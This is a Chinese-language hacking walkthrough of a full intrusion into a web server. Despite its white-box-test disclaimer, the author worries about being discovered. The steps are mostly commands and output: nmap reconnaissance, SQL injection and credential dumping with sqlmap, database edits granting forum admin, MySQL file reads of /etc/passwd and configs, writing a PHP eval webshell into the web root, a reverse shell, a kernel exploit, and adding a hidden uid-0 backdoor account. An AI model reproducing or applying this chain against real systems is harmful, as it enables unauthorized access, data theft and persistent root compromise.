声明:本文内容为白盒测试,可能具有攻击性,仅供本人学习研究,任何组织和个人不得利用本文内容攻击他人,请记住:未经授权的入侵是违法行为。

一.踩点

nmap 、nessus、 Acunetix Web Vulnerability Scanner 一起上,尽可能多收集信息(网站、服务器、管理员、域名ip等),查到有vsftp openssh mysql,端口都是默认的,web服务器软件是nginx,google一下这几个软件版本没有什么给力的exp,只能从web入手

nmap -v -A www.target.com
21/tcp   open     ftp            vsftpd 2.0.5
22/tcp   open     ssh            OpenSSH 4.3 (protocol 2.0)
80/tcp   open     http
3306/tcp open     mysql          MySQL 5.1.55-log

二.破门而入

整个网站是邀请注册的,没有登录只能查看很少的几个页面。扫了一下敏感目录,有个UCenter 1.0.0,有个bbs是discuz的,版本很老,在没有其它有用目录了。整个首页的栏目,只有一个在线购买的栏目网址是动态的,应该是第三方程序搞出来的,没其它办法试一试注入:

http://www.target.com/buy/index.php?action=details&id=156 and 1=1  
http://www.target.com/buy/index.php?action=details&id=156 and 1=2

返回不同 !在试试url后加个’

http://www.target.com/buy/index.php?action=details&id=156'

MySQL Error
Message: MySQL Query Error
SQL: SELECT count(id) as count FROM `give_goods` WHERE gid=156\'
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1
Errno.: 1064
Click here to seek help.

运气不错,果然有注入,接下来你可能觉得很无聊了。直接丢sqlmap

sqlmap -u "http://www.target.com/buy/index.php?action=details&id=156" --dbs

电脑开着两天还没跑完,看来数据量不小。从导下来的数据库看,注入点的权限够大,mysql数据库的用户名密码存在user表下,先试着导mysql这个库:

sqlmap -u "http://www.target.com/buy/index.php?action=details&id=156" -D mysql --dump

很快就导出来了,打开sqlmap目录(kali下):

/usr/share/sqlmap/output/www.target.com/dump/mysql/user.csv

一共三条记录:

% ,testdb *8248B8F8E979FD535297FADFD9DC0DB97D9FD288
localhost ,root *AA5C5EB9FA6BFC5B891A63C1EAF2EF3F57A4413A
localhost.localdomain ,root *AA5C5EB9FA6BFC5B891A63C1EAF2EF3F57A4413A

在cmd5上反查一下mysql的密码,root的未查到 testdb是付费记录,没有付费账号,密文直接丢google查到结果: 101099,运气也是一种实力有木有!!竟然一开始就搞到了数据库,那就继续试试提权吧

三、获得webshell

testdb没有限制ip,先试着dump一下数据

root@kali:~# mysqldump  -R  -hwww.target.com -utestdb -p101099 eng >1.sql
mysqldump: Got error: 144: Table './eng/bg_music_list' is marked as crashed and last (automatic?)    repair failed when using LOCK TABLES

这个错误要有服务器权限才能修复的,看来要好人做到底了,登上数据库看到有个invite_code字段,应该是邀请码的,

select * from invite_code\G;
20716 | 480ej46 | 51640 | target2008 | NULL |   | 1335233718 | NULL   | |
20717 | usc65e3z | 51640  | target2008  | NULL   |   | 1335233718 | NULL  |

找了一个没有用的先注册一个上去在说,注册好后在数据库里update成管理员,看看有没有办法在dz后台拿webshell.
先查一下管理员账号:

mysql> select * from uc_admins;
| uid  | username | allowadminsetting | allowadminapp | allowadminuser | allowadminbadword | allowadmintag | allowadminpm | allowadmincredits | allowadmindomain | allowadmindb | allowadminnote | allowadmincache | allowadminlog |

| 73138 | 10000 | 1 |  0 |  0 | 1 | 1 |  1  |  1 |  1 | 0 |1 | 1 | 1 |
| 10027 | com123 | 1 | 1 |  1 | 1 | 1 |  1 |   1 |  1 | 1 |1 | 1 | 1 |
| 51640 | target2008 | 0 |  0 | 0 | 1 |  1 |   1 |  1 | 0 |0 | 1 | 0 |  1 |

有三个管理员,在看一下我自己注册的账号和管理员权限有哪些不同

mysql> select * from cdb_members where username="com123"\G;
mysql> select * from cdb_members where username="loveu1"\G;

对比后可以看到,我注册的用户和管理员的区别就是 adminid和groupid两项,用sql update成管理员

mysql> update  cdb_members set adminid="1",groupid="1"  where username="loveu1";
Query OK, 1 row affected (0.27 sec)

成功进入dz后台,版本为Powered by Discuz! 6.1.0,网上搜到的get shell漏洞都无法使用,郁闷啊。。。
后台好多操作都提示“您没有权限访问系统设置。” 看来是config.inc.php里设置了论坛创始人uid,如果不是这个原因,就是用sql语句Update时还有其它的表没有update到。

上面的sql中可以看到,论坛创始人uid是100227,于是把创始人comcom的uid用sql update 成别的,把自己uid update成10027,登录还是不行,原因是和uid关连的表太多了,我对discuz不熟,万一论坛管理登录不上,被发现了,就没得玩了。论坛创始人的md5反查也没有结果。

目前情况是:用sql提升的管理员账号权限不够,又无法以论坛创始人登录,无法拿到webshell,只能用其它的方法拿webshell了,现在只有mysql可以利用,google了一下,linux下mysql可以用udf提权,没弄过,跟着教程来:
1.得到插件库路径

mysql>  show variables like "%plugin%";
+---------------+-----------------------------------+
| Variable_name | Value                             |
+---------------+-----------------------------------+
| plugin_dir    | /mysql/PRG/mysql/lib/mysql/plugin |
+---------------+-----------------------------------+
1 row in set (0.27 sec)

从插件目录可以看出,mysql目录不是默认的,应该是编译安装。

2.利用udf库文件加载函数并执行命令
首先要得到udf库文件的十六进制格式,可在本地通过

mysql> select hex(load_file('/usr/share/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so')) into outfile '/tmp/udf.txt';
Query OK, 1 row affected (0.26 sec)

数据库中写入udf库到mysql库目录:

mysql> select unhex('7F454C46020...') into dumpfile '/mysql/PRG/mysql/lib/mysql/plugin/mysqludf.so';
Query OK, 1 row affected (0.26 sec)

但是在加载函数并执行是报错:

mysql> create function sys_eval returns string soname "mysqludf.so";
ERROR 1126 (HY000): Can't open shared library 'mysqludf.so' (errno: 0 feature disabled)

试了32位的库也是一样的,这条路行不通,网上教程如果没有问题的话,可能原因就是7F454C46020这个值,这个值应该是mysqludf.so的二进制开头的值,手头没有C32这类二进制编辑器,先不试了。因为注意到了上边“数据库中写入udf库到mysql库目录” 这一步,既然可以写入mysql库目录,那可不可以写到其它目录呢?tmp目录是777,肯定有权限写入,试一下
select unhex('7F454C46020...') into dumpfile '/tmp/mysqludf.so'; 成功写入。

那么就可以利用mysql的dumpfile或者outfile将一句话小马导出到web目录(mysql dumpfile 只导出一行 或二进制文件,outfile导出整个数据库,但是会在行末加换行符,如果你的小马不是一行,一定要用outfile导出)。
那么怎么找到web目录呢?踩点时我们知道web服务器是nginx,可以从/usr/local/nginx/conf/nginx.conf中读到web配置文件,得到web目录,实践中发现nginx不是安装到默认目录,是从/etc/init.d/nginxd这个nginx的init脚本里面找到了nginx的配置文件,然后从nginx的配置文件中找到了web目录,用Mysql的loadfile函数读取文件内容:

mysql> use tmp;
mysql> create table a (cmd text) ;
mysql> insert into c(cmd) values (load_file('/etc/passwd')); 显示并存进表c
mysql> select load_file('/etc/init.d/nginxd');  直接显示file内容

mysql> select load_file('/etc/init.d/nginxd');
+------------------------------------------------+
| load_file('/etc/init.d/nginxd')                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              
+------------------------------------------------
| #!/bin/sh
..........省略........................
nginx="/mysql/PRG/nginx/sbin/nginx"
prog=$(basename $nginx)
NGINX_CONF_FILE="/mysql/PRG/nginx/conf/nginx.conf"
[ -f /etc/sysconfig/nginx ] && . /etc/sysconfig/nginx
lockfile=/var/lock/subsys/nginx
..........省略........................
+---------------------------------------------------+
1 row in set (0.27 sec)

同样的方法读nginx配置文件:

mysql> select load_file('/mysql/PRG/nginx/conf/nginx.conf');

得到web的目录为:/usr/local/apache/htdocs
然后用loadfile 看一下web目录下和子目录下的index.php文件,确认web目录路径无误。

用mysql outfile 写入webshell到web目录:

mysql> insert into d values("<?php eval($_POST[cmd]);?>");
Query OK, 1 row affected (0.26 sec)
mysql> select * from d;
+----------------------------+
| cmd                        |
+----------------------------+
| <?php eval($_POST[cmd]);?> |
+----------------------------+
1 row in set (0.26 sec)

如果失败是没有写入权限,写入成功但连不上小马是目录没有执行权限,所以要找有写入和执行权限的目录来写入小马:

select * from d into outfile "/usr/local/apache/htdocs/song/a.php";

成功获得webshell。

四,提权

用菜刀上传了PhpSpy 2013 final,然后用perl反弹shell到本地,nginx和mysql都是编译安装的,所以用来提权的gcc和运行的库文件是不缺的,系统为centos 5.3 64位,内核是版本是 2.6.18-128.el5
对应提权脚本:
http://1337day.com/exploit/17189

在反弹shell里编译时一直无法通过,最后是把exp拿到本地虚拟机上编译好,上传到服务器提权成功的!
加root 账号:

/usr/sbin/useradd -u 0 -o -g root -G root -d /home/openvpn/bin openvpn

加好后ssh上去,因为是root,想干什么就干什么,例如种个rookit之类的,修好数据库后dump数据啦。。。